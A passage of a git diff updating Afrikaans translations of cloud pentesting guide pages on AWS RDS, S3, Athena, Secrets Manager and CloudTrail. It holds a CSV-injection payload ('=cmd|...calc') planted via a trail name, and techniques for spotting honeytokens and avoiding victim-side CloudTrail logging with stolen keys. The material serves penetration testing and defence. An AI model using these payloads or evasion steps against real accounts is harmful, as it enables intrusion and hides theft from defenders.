breër omvang van databeskydding bied. -- **TDE Kolom Versleuteling**: Hierdie modus fokus op die versleuteling van spesifieke, individuele elemente binne die databasis, wat meer granulaire beheer oor wat data versleutel, moontlik maak. +- **TDE Tabelruimte Versleuteling**: Hierdie modus versleutelt hele tabelles, wat 'n breër omvang van databeskydding bied. +- **TDE Kolom Versleuteling**: Hierdie modus fokus op die versleuteling van spesifieke, individuele elemente binne die databasis, wat meer granulaire beheer oor watter data versleuteld word, moontlik maak. -Om hierdie vereistes en die operasionele ingewikkeldhede van TDE te verstaan, is noodsaaklik vir effektiewe implementering en bestuur van versleuteling binne RDS, wat beide datasekuriteit en nakoming van nodige standaarde verseker. +Om hierdie vereistes en die operasionele nuanses van TDE te verstaan, is noodsaaklik vir die effektiewe implementering en bestuur van versleuteling binne RDS, wat beide datasekuriteit en nakoming van nodige standaarde verseker. ### Enumerasie ```bash @@ -131,7 +131,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ### SQL Inbraak -Daar is maniere om toegang tot DynamoDB-data te verkry met **SQL-sintaksis**, daarom is tipiese **SQL-inbrake ook moontlik**. +Daar is maniere om toegang tot DynamoDB-data te verkry met **SQL-sintaks**, daarom is tipiese **SQL-inbrake ook moontlik**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 5caeedfaa..de312bf0f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -6,15 +6,15 @@ Amazon S3 is 'n diens wat jou toelaat om **groot hoeveelhede data te stoor**. -Amazon S3 bied verskeie opsies om die **beskerming** van data in rus te bereik. Die opsies sluit **Toestemming** (Beleid), **Enkripsie** (Kliënt en Bediener-kant), **Emmerweergawe** en **MFA** **gebaseerde verwydering** in. Die **gebruiker kan enige van hierdie opsies aktiveer** om databesking te bereik. **Data-replikaasie** is 'n interne fasiliteit deur AWS waar **S3 outomaties elke objek oor al die Beschikbaarheidsone repliseer** en die organisasie hoef dit nie in hierdie geval te aktiveer nie. +Amazon S3 bied verskeie opsies om die **beskerming** van data in REST te bereik. Die opsies sluit **Toestemming** (Beleid), **Enkripsie** (Kliënt en Bediener-kant), **Emmerweergawe** en **MFA** **gebaseerde verwydering** in. Die **gebruiker kan enige van hierdie opsies aktiveer** om databesking te bereik. **Data-replikaasie** is 'n interne fasiliteit deur AWS waar **S3 outomaties elke objek oor al die Beschikbaarheidsgebiede repliseer** en die organisasie hoef dit nie in hierdie geval te aktiveer nie. Met hulpbron-gebaseerde toestemmings kan jy toestemmings vir sub-gidse van jou emmer apart definieer. -### Emmerweergawe en MFA-gebaseerde verwydering +### Emmerweergawe en MFA gebaseerde verwydering -Wanneer emmerweergawe geaktiveer is, sal enige aksie wat probeer om 'n lêer binne 'n lêer te verander 'n nuwe weergawe van die lêer genereer, terwyl dit ook die vorige inhoud van dieselfde behou. Daarom sal dit nie sy inhoud oorskryf nie. +Wanneer emmerweergawe geaktiveer is, sal enige aksie wat probeer om 'n lêer binne 'n lêer te verander 'n nuwe weergawe van die lêer genereer, terwyl die vorige inhoud van dieselfde ook behou word. Daarom sal dit nie sy inhoud oorskryf nie. -Boonop sal MFA-gebaseerde verwydering verhinder dat weergawes van lêers in die S3-emmer verwyder word en ook dat Emmerweergawe gedeaktiveer word, sodat 'n aanvaller nie in staat sal wees om hierdie lêers te verander nie. +Boonop sal MFA gebaseerde verwydering verhinder dat weergawes van lêers in die S3-emmer verwyder word en ook dat Emmerweergawe gedeaktiveer word, sodat 'n aanvaller nie in staat sal wees om hierdie lêers te verander nie. ### S3 Toegang logs @@ -26,14 +26,14 @@ Dit is moontlik om 'n presigned URL te genereer wat gewoonlik gebruik kan word o ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -'n Voorafondertekende URL kan **uit die cli geskep word met die kredensiale van 'n hoof met toegang tot die objek** (as die rekening wat jy gebruik nie toegang het nie, sal 'n korter voorafondertekende URL geskep word, maar dit sal nutteloos wees) +'n Voorafondertekende URL kan **uit die cli geskep word met die kredensiale van 'n hoofpersoon met toegang tot die objek** (as die rekening wat jy gebruik nie toegang het nie, sal 'n korter voorafondertekende URL geskep word, maar dit sal nutteloos wees) ```bash aws s3 presign --region 's3:///' ``` > [!NOTE] -> Die enigste vereiste toestemming om 'n presigned URL te genereer, is die toestemming wat gegee word, so vir die vorige opdrag is die enigste toestemming wat deur die hoofpersoon benodig word `s3:GetObject` +> Die enigste vereiste toestemming om 'n voorafondertekende URL te genereer, is die toestemming wat gegee word, so vir die vorige opdrag is die enigste toestemming wat die hoofpersoon nodig het `s3:GetObject` -Dit is ook moontlik om presigned URLs te skep met **ander toestemmings**: +Dit is ook moontlik om voorafondertekende URL's te skep met **ander toestemmings**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( @@ -44,13 +44,13 @@ ExpiresIn=3600 ``` ### S3 Enkripsiemeganismes -**DEK beteken Data Enkripsiesleutel** en is die sleutel wat altyd gegenereer en gebruik word om data te enkripteer. +**DEK beteken Data Enkripsiesleutel** en is die sleutel wat altyd gegenereer word en gebruik word om data te enkripteer.
Bediener-kant enkripsie met S3 bestuurde sleutels, SSE-S3 -Hierdie opsie vereis minimale konfigurasie en al die bestuur van enkripsiesleutels wat gebruik word, word deur AWS bestuur. Al wat jy hoef te doen is om **jou data op te laai en S3 sal al die ander aspekte hanteer**. Elke emmer in 'n S3-rekening word aan 'n emmersleutel toegeken. +Hierdie opsie vereis minimale konfigurasie en al die bestuur van enkripsiesleutels wat gebruik word, word deur AWS bestuur. Al wat jy hoef te doen is om jou data te **laai en S3 sal al die ander aspekte hanteer**. Elke emmer in 'n S3-rekening word aan 'n emmersleutel toegeken. - Enkripsie: - Objektdata + geskepte platte DEK --> Geënkripteerde data (gestoor binne S3) @@ -71,7 +71,7 @@ Hierdie metode laat S3 toe om die sleutelbestuursdiens te gebruik om jou data-en - Enkripsie: - S3 versoek data sleutels van KMS CMK -- KMS gebruik 'n CMK om die paar DEK platte teks en DEK geënkripteer te genereer en dit na S3 te stuur +- KMS gebruik 'n CMK om die paar DEK platte teks en DEK geënkripteerd te genereer en stuur dit na S3 - S3 gebruik die platte sleutel om die data te enkripteer, stoor die geënkripteerde data en die geënkripteerde sleutel en verwyder die platte sleutel uit geheue - Dekripsie: - S3 vra KMS om die geënkripteerde datasleutel van die objek te dekripteer @@ -111,7 +111,7 @@ Soos met SSE-KMS, gebruik dit ook die sleutelbestuursdiens om jou data-enkripsie - Die kliënt enkripteer dan die data met die platte DEK en stuur die geënkripteerde data + die geënkripteerde DEK (wat as metadata van die geënkripteerde data binne S3 gestoor word) na S3 - Dekripsie: - Die geënkripteerde data met die geënkripteerde DEK word na die kliënt gestuur -- Die kliënt vra KMS om die geënkripteerde sleutel met die CMK te dekripteer en KMS stuur die platte DEK terug +- Die kliënt vra KMS om die geënkripteerde sleutel te dekripteer met die CMK en KMS stuur die platte DEK terug - Die kliënt kan nou die geënkripteerde data dekripteer
@@ -229,7 +229,7 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### dual-stack -Jy kan toegang tot 'n S3-bucket verkry deur 'n dual-stack eindpunt te gebruik met 'n virtuele gehuisvesde styl of 'n padstyl eindpuntnaam. Hierdie is nuttig om S3 deur IPv6 te benader. +Jy kan toegang tot 'n S3-bucket verkry deur 'n dual-stack eindpunt te gebruik met 'n virtuele gehoste styl of 'n padstyl eindpuntnaam. Hierdie is nuttig om S3 deur IPv6 te benader. Dual-stack eindpunte gebruik die volgende sintaksis: @@ -238,7 +238,7 @@ Dual-stack eindpunte gebruik die volgende sintaksis: ### Privesc -Op die volgende bladsy kan jy kyk hoe om **S3-toestemmings te misbruik om voorregte te verhoog**: +In die volgende bladsy kan jy kyk hoe om **S3-toestemmings te misbruik om voorregte te verhoog**: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -270,15 +270,15 @@ Op die volgende bladsy kan jy kyk hoe om **S3-toestemmings te misbruik om voorre ## Amazon Athena -Amazon Athena is 'n interaktiewe vrae-diens wat dit maklik maak om **data** direk in Amazon Simple Storage Service (Amazon **S3**) **te analiseer** met standaard **SQL**. +Amazon Athena is 'n interaktiewe navraagdiens wat dit maklik maak om **data** direk in Amazon Simple Storage Service (Amazon **S3**) **te analiseer** met standaard **SQL**. -Jy moet 'n **relationele DB-tabel voorberei** met die formaat van die inhoud wat in die gemonitorde S3-buckets gaan verskyn. En dan sal Amazon Athena in staat wees om die DB uit die logs te vul, sodat jy dit kan vra. +Jy moet 'n **relationele DB-tabel voorberei** met die formaat van die inhoud wat in die gemonitorde S3-buckets gaan verskyn. En dan sal Amazon Athena in staat wees om die DB uit die logs te vul, sodat jy dit kan navraag doen. -Amazon Athena ondersteun die **vermoë om S3-data wat reeds versleuteld is, te vra** en as dit geconfigureer is om dit te doen, **kan Athena ook die resultate van die vraag versleuteld wat dan in S3 gestoor kan word**. +Amazon Athena ondersteun die **vermoë om S3-data wat reeds versleuteld is, te navraag** en as dit geconfigureer is om dit te doen, **kan Athena ook die resultate van die navraag versleuteld wat dan in S3 gestoor kan word**. -**Hierdie versleuteling van resultate is onafhanklik van die onderliggende gevraagde S3-data**, wat beteken dat selfs al is die S3-data nie versleuteld nie, kan die gevraagde resultate versleuteld wees. 'n Paar punte om bewus van te wees is dat Amazon Athena slegs data ondersteun wat **versleuteld** is met die **volgende S3-versleutelingmetodes**, **SSE-S3, SSE-KMS, en CSE-KMS**. +**Hierdie versleuteling van resultate is onafhanklik van die onderliggende navraag S3-data**, wat beteken dat selfs al is die S3-data nie versleuteld nie, kan die navraag resultate versleuteld wees. 'n Paar punte om bewus van te wees is dat Amazon Athena slegs data ondersteun wat **versleuteld** is met die **volgende S3-versleutelingmetodes**, **SSE-S3, SSE-KMS, en CSE-KMS**. -SSE-C en CSE-E word nie ondersteun nie. Benewens dit, is dit belangrik om te verstaan dat Amazon Athena slegs vrae teen **versleutelde voorwerpe wat in dieselfde streek as die vraag self is** sal uitvoer. As jy S3-data moet vra wat met KMS versleuteld is, dan is spesifieke toestemmings nodig deur die Athena-gebruiker om hulle in staat te stel om die vraag uit te voer. +SSE-C en CSE-E word nie ondersteun nie. Benewens dit, is dit belangrik om te verstaan dat Amazon Athena slegs navrae teen **versleutelde voorwerpe wat in dieselfde streek as die navraag self is** sal uitvoer. As jy S3-data moet navraag doen wat met KMS versleuteld is, dan is spesifieke toestemmings nodig deur die Athena-gebruiker om hulle in staat te stel om die navraag uit te voer. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a8d2994e7..4ecec723b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,16 +4,16 @@ ## AWS Secrets Manager -AWS Secrets Manager is ontwerp om **die gebruik van hard-gecodeerde geheime in toepassings te elimineer deur dit met 'n API-oproep te vervang**. Hierdie diens dien as 'n **gecentraliseerde berging vir al jou geheime**, wat verseker dat dit uniform bestuur word oor alle toepassings. +AWS Secrets Manager is ontwerp om **die gebruik van hard-gecodeerde geheime in toepassings te elimineer deur dit met 'n API-oproep te vervang**. Hierdie diens dien as 'n **gecentraliseerde berging vir al jou geheime**, wat verseker dat dit uniform bestuur word oor al die toepassings. -Die bestuurder vereenvoudig die **proses om geheime te roteer**, wat die sekuriteitsposisie van sensitiewe data soos databasisakkrediteer verbeter. Daarbenewens kan geheime soos API-sleutels outomaties geroteer word met die integrasie van lambda-funksies. +Die bestuurder vereenvoudig die **proses van die draai van geheime**, wat die sekuriteitsposisie van sensitiewe data soos databasisakkrediteer verbeter. Daarbenewens kan geheime soos API-sleutels outomaties gedraai word met die integrasie van lambda-funksies. -Die toegang tot geheime word noukeurig beheer deur middel van gedetailleerde IAM identiteit-gebaseerde beleide en hulpbron-gebaseerde beleide. +Die toegang tot geheime word streng beheer deur middel van gedetailleerde IAM identiteit-gebaseerde beleide en hulpbron-gebaseerde beleide. Om toegang tot geheime aan 'n gebruiker van 'n ander AWS-rekening te verleen, is dit nodig om: 1. Die gebruiker te magtig om toegang tot die geheim te verkry. -2. Toestemming aan die gebruiker te verleen om die geheim met KMS te ontsleutel. +2. Toestemming aan die gebruiker te gee om die geheim te ontsleutel met KMS. 3. Die Sleutelbeleid te wysig om die eksterne gebruiker toe te laat om dit te gebruik. **AWS Secrets Manager integreer met AWS KMS om jou geheime binne AWS Secrets Manager te enkripteer.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 413a6c2ba..f15fd54f4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1 +1 @@ -# AWS - Sekuriteit & Deteksiedienste +# AWS - Sekuriteit & Ontdekking Dienste diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index a9bc29069..f6bba0fbc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,9 +4,9 @@ ## **CloudTrail** -AWS CloudTrail **registreer en monitor aktiwiteit binne jou AWS omgewing**. Dit vang gedetailleerde **gebeurtenislogs**, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS hulpbronne. Dit bied 'n oudit spoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbron verandering opsporing. CloudTrail is noodsaaklik om gebruikers- en hulpbron gedrag te verstaan, om sekuriteitsposisies te verbeter, en om regulatoriese nakoming te verseker. +AWS CloudTrail **registreer en monitor aktiwiteit binne jou AWS omgewing**. Dit vang gedetailleerde **gebeurtenislogs**, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS hulpbronne. Dit bied 'n oudit spoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbron verandering opsporing. CloudTrail is noodsaaklik om gebruikers- en hulpbron gedrag te verstaan, sekuriteitsposisies te verbeter, en regulatoriese nakoming te verseker. -Elke gelogde gebeurtenis bevat: +Elke geregistreerde gebeurtenis bevat: - Die naam van die aangeroep API: `eventName` - Die aangeroep diens: `eventSource` @@ -34,7 +34,7 @@ Die logs word gestoor in 'n **S3-bucket met hierdie naamformaat**: Binne elke gids sal elke log 'n **naam hê wat hierdie formaat volg**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log Lêer Naam Konvensie +Loglêer Naamkonvensie ![](<../../../../images/image (122).png>) @@ -42,70 +42,70 @@ Boonop, **digest-lêers (om lêer integriteit te kontroleer)** sal binne die **d ![](<../../../../images/image (195).png>) -### Geaggregeerde Logs van Meerdere Rekeninge +### Geaggregeerde Logs van Meerdere Rekenings - Skep 'n Trail in die AWS rekening waar jy wil hê die loglêers moet afgelewer word - Pas toestemmings toe op die bestemmings S3-bucket wat kruis-rekening toegang vir CloudTrail toelaat en laat elke AWS rekening wat toegang benodig toe - Skep 'n nuwe Trail in die ander AWS rekeninge en kies om die geskepte bucket in stap 1 te gebruik -Egter, selfs al kan jy al die logs in dieselfde S3-bucket stoor, kan jy nie CloudTrail logs van meerdere rekeninge in 'n CloudWatch Logs wat aan 'n enkele AWS rekening behoort, aggregeer nie. +Tog, selfs al kan jy al die logs in dieselfde S3-bucket stoor, kan jy nie CloudTrail logs van meerdere rekeninge in 'n CloudWatch Logs wat aan 'n enkele AWS rekening behoort, aggregeer nie. > [!CAUTION] > Onthou dat 'n rekening **verskillende Trails** van CloudTrail **geaktiveer** kan hê wat dieselfde (of verskillende) logs in verskillende buckets stoor. ### Cloudtrail van alle org rekeninge in 1 -Wanneer 'n CloudTrail geskep word, is dit moontlik om aan te dui om cloudtrail te aktiveer vir al die rekeninge in die org en om die logs in net 1 bucket te kry: +Wanneer 'n CloudTrail geskep word, is dit moontlik om aan te dui om cloudtrail te aktiveer vir al die rekeninge in die org en die logs in net 1 bucket te kry:
Op hierdie manier kan jy CloudTrail maklik in al die streke van al die rekeninge konfigureer en die logs in 1 rekening sentraliseer (wat jy moet beskerm). -### Log Lêers Kontrole +### Loglêers Kontrole Jy kan kontroleer dat die logs nie verander is nie deur te loop ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` -### Logs to CloudWatch +### Logs na CloudWatch **CloudTrail kan outomaties logs na CloudWatch stuur sodat jy waarskuwings kan stel wat jou waarsku wanneer verdagte aktiwiteite uitgevoer word.**\ Let daarop dat om CloudTrail toe te laat om die logs na CloudWatch te stuur, 'n **rol** geskep moet word wat daardie aksie toelaat. Indien moontlik, word dit aanbeveel om die AWS standaardrol te gebruik om hierdie aksies uit te voer. Hierdie rol sal CloudTrail toelaat om: -- CreateLogStream: Dit laat jou toe om 'n CloudWatch Logs logstroom te skep -- PutLogEvents: Lewer CloudTrail logs aan die CloudWatch Logs logstroom +- CreateLogStream: Dit laat jou toe om 'n CloudWatch Logs log streams te skep +- PutLogEvents: Lewer CloudTrail logs aan CloudWatch Logs log stream -### Event History +### Gebeurtenisgeskiedenis -CloudTrail Event History laat jou toe om in 'n tabel die logs wat opgeteken is, te inspekteer: +CloudTrail Gebeurtenisgeskiedenis laat jou toe om in 'n tabel die logs wat opgeneem is, te inspekteer: ![](<../../../../images/image (89).png>) -### Insights +### Insigte -**CloudTrail Insights** analiseer outomaties **skrywe bestuur gebeurtenisse** van CloudTrail spore en **waarsku** jou oor **ongewone aktiwiteit**. Byvoorbeeld, as daar 'n toename in `TerminateInstance` gebeurtenisse is wat verskil van gevestigde baselines, sal jy dit as 'n Insight gebeurtenis sien. Hierdie gebeurtenisse maak **dit makliker om ongewone API aktiwiteit te vind en daarop te reageer** as ooit tevore. +**CloudTrail Insigte** analiseer outomaties **skryfbestuur** gebeurtenisse van CloudTrail spore en **waarsku** jou oor **ongewone aktiwiteit**. Byvoorbeeld, as daar 'n toename in `TerminateInstance` gebeurtenisse is wat verskil van gevestigde baselines, sal jy dit as 'n Insig gebeurtenis sien. Hierdie gebeurtenisse maak **die vind en reageer op ongewone API aktiwiteit makliker** as ooit. Die insigte word in dieselfde emmer as die CloudTrail logs gestoor in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` -### Security +### Sekuriteit -| CloudTrail Log File Integrity |
  • Verifieer of logs gemanipuleer is (gewysig of verwyder)
  • Gebruik digest lêers (skep hash vir elke lêer)

    • SHA-256 hashing
    • SHA-256 met RSA vir digitale ondertekening
    • privaat sleutel besit deur Amazon
  • Neem 1 uur om 'n digest lêer te skep (gedoen op die uur elke uur)
| +| CloudTrail Log Lêer Integriteit |
  • Verifieer of logs gemanipuleer is (gewysig of verwyder)
  • Gebruik digest lêers (skep hash vir elke lêer)

    • SHA-256 hashing
    • SHA-256 met RSA vir digitale ondertekening
    • privaat sleutel besit deur Amazon
  • Neem 1 uur om 'n digest lêer te skep (gedoen op die uur elke uur)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • Gebruik IAM beleid en S3 emmer beleid

    • sekuriteitspan —> admin toegang
    • ouditeurs —> lees slegs toegang
  • Gebruik SSE-S3/SSE-KMS om die logs te enkripteer
| -| Prevent log files from being deleted |
  • Beperk verwyder toegang met IAM en emmer beleid
  • Konfigureer S3 MFA verwydering
  • Verifieer met Log File Validation
| +| Stop ongemagtigde toegang |
  • Gebruik IAM beleide en S3 emmer beleide

    • sekuriteitspan —> admin toegang
    • ouditeurs —> lees slegs toegang
  • Gebruik SSE-S3/SSE-KMS om die logs te enkripteer
| +| Voorkom dat log lêers verwyder word |
  • Beperk verwyder toegang met IAM en emmer beleide
  • Konfigureer S3 MFA verwydering
  • Verifieer met Log Lêer Verifikasie
| -## Access Advisor +## Toegang Adviseur -AWS Access Advisor staat op die laaste 400 dae AWS **CloudTrail logs om sy insigte te versamel**. CloudTrail vang 'n geskiedenis van AWS API oproepe en verwante gebeurtenisse wat in 'n AWS rekening gemaak is. Access Advisor gebruik hierdie data om **te wys wanneer dienste laas toeganklik was**. Deur CloudTrail logs te analiseer, kan Access Advisor bepaal watter AWS dienste 'n IAM gebruiker of rol toeganklik gemaak het en wanneer daardie toegang plaasgevind het. Dit help AWS administrateurs om ingeligte besluite te neem oor **die verfyning van toestemmings**, aangesien hulle dienste kan identifiseer wat vir lang tydperke nie toeganklik was nie en moontlik oorbodige breë toestemmings kan verminder op grond van werklike gebruikspatrone. +AWS Toegang Adviseur staat op die laaste 400 dae AWS **CloudTrail logs om sy insigte te versamel**. CloudTrail vang 'n geskiedenis van AWS API oproepe en verwante gebeurtenisse wat in 'n AWS rekening gemaak is. Toegang Adviseur gebruik hierdie data om **te wys wanneer dienste laas toeganklik was**. Deur CloudTrail logs te analiseer, kan Toegang Adviseur bepaal watter AWS dienste 'n IAM gebruiker of rol toeganklik gemaak het en wanneer daardie toegang plaasgevind het. Dit help AWS administrateurs om ingeligte besluite te neem oor **die verfyning van toestemmings**, aangesien hulle dienste kan identifiseer wat vir lang tydperke nie toeganklik was nie en moontlik oorbodige toestemmings kan verminder op grond van werklike gebruikspatrone. > [!TIP] -> Daarom informeer Access Advisor oor **die onnodige toestemmings wat aan gebruikers gegee word** sodat die admin dit kan verwyder +> Daarom informeer Toegang Adviseur oor **die onnodige toestemmings wat aan gebruikers gegee word** sodat die admin dit kan verwyder
-## Actions +## Aksies -### Enumeration +### Enumerasie ```bash # Get trails info aws cloudtrail list-trails @@ -122,10 +122,10 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` -### **CSV Injection** +### **CSV Inspuiting** -Dit is moontlik om 'n CVS-inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal uitvoer as die logs in CSV geëksporteer en met Excel oopgemaak word.\ -Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail-naam wat die payload bevat: +Dit is moontlik om 'n CVS inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal uitvoer as die logs in CSV uitgevoer word en met Excel oopgemaak word.\ +Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail naam wat die payload bevat: ```python import boto3 payload = "=cmd|'/C calc'|''" @@ -148,9 +148,9 @@ Vir meer inligting oor hierdie spesifieke tegniek, kyk [https://rhinosecuritylab ### HoneyTokens **omseil** -Honeytokens word geskep om **die uitvloeiing van sensitiewe inligting te ontdek**. In die geval van AWS, is dit **AWS sleutels waarvan die gebruik gemonitor word**, as iets 'n aksie met daardie sleutel aktiveer, dan moet iemand daardie sleutel gesteel het. +Honeytokens word geskep om **die uitvloeiing van sensitiewe inligting te detecteer**. In die geval van AWS, is dit **AWS sleutels waarvan die gebruik gemonitor word**, as iets 'n aksie met daardie sleutel aktiveer, dan moet iemand daardie sleutel gesteel het. -E however, Honeytokens soos die wat geskep is deur [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) gebruik óf 'n herkenbare rekeningnaam óf gebruik dieselfde AWS rekening ID vir al hul kliënte. Daarom, as jy die rekeningnaam en/of rekening ID kan kry sonder om Cloudtrail enige log te laat skep, **kan jy weet of die sleutel 'n honeytoken is of nie**. +E however, Honeytokens soos die wat deur [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) geskep is, gebruik óf 'n herkenbare rekeningnaam óf gebruik dieselfde AWS rekening ID vir al hul kliënte. Daarom, as jy die rekeningnaam en/of rekening ID kan kry sonder om Cloudtrail enige log te laat skep, **kan jy weet of die sleutel 'n honeytoken is of nie**. [**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) het 'n paar reëls om te detecteer of 'n sleutel aan [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)** behoort:** @@ -158,7 +158,7 @@ E however, Honeytokens soos die wat geskep is deur [**Canarytokens**](https://ca - Deur hulle meer onlangs te toets, gebruik hulle die rekening **`717712589309`** en het steeds die **`canarytokens.com`** string in die naam. - As **`SpaceCrab`** in die rolnaam in die foutboodskap verskyn. - **SpaceSiren** gebruik **uuids** om gebruikersname te genereer: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- As die **naam lyk soos lukraak gegenereer**, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is. +- As die **naam lyk soos dit lukraak gegenereer is**, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is. #### Kry die rekening ID van die Sleutel ID @@ -181,34 +181,34 @@ return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` -Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). +Kyk meer inligting in die [**oorspronklike navorsing**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). #### Moet nie 'n log genereer nie -Die mees effektiewe tegniek hiervoor is eintlik 'n eenvoudige een. Gebruik net die sleutel wat jy net gevind het om toegang te verkry tot 'n diens binne jou eie aanvallersrekening. Dit sal **CloudTrail 'n log binne JOU EIE AWS-rekening genereer en nie binne die slagoffers nie**. +Die mees effektiewe tegniek hiervoor is eintlik 'n eenvoudige een. Gebruik net die sleutel wat jy pas gevind het om toegang te verkry tot 'n diens binne jou eie aanvallersrekening. Dit sal **CloudTrail 'n log binne JOU EIE AWS-rekening genereer en nie binne die slagoffers nie**. -Die ding is dat die uitvoer jou 'n fout sal wys wat die rekening ID en die rekening naam aandui, sodat **jy sal kan sien of dit 'n Honeytoken is**. +Die ding is dat die uitvoer 'n fout sal toon wat die rekening-ID en die rekeningnaam aandui, sodat **jy sal kan sien of dit 'n Honeytoken is**. #### AWS-dienste sonder logs -In die verlede was daar 'n paar **AWS-dienste wat nie logs na CloudTrail stuur nie** (vind 'n [lys hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Sommige van daardie dienste sal **reageer** met 'n **fout** wat die **ARN van die sleutelrol** bevat as iemand ongeoorloof (die honeytoken sleutel) probeer om toegang te verkry. +In die verlede was daar 'n paar **AWS-dienste wat nie logs na CloudTrail gestuur het nie** (vind 'n [lys 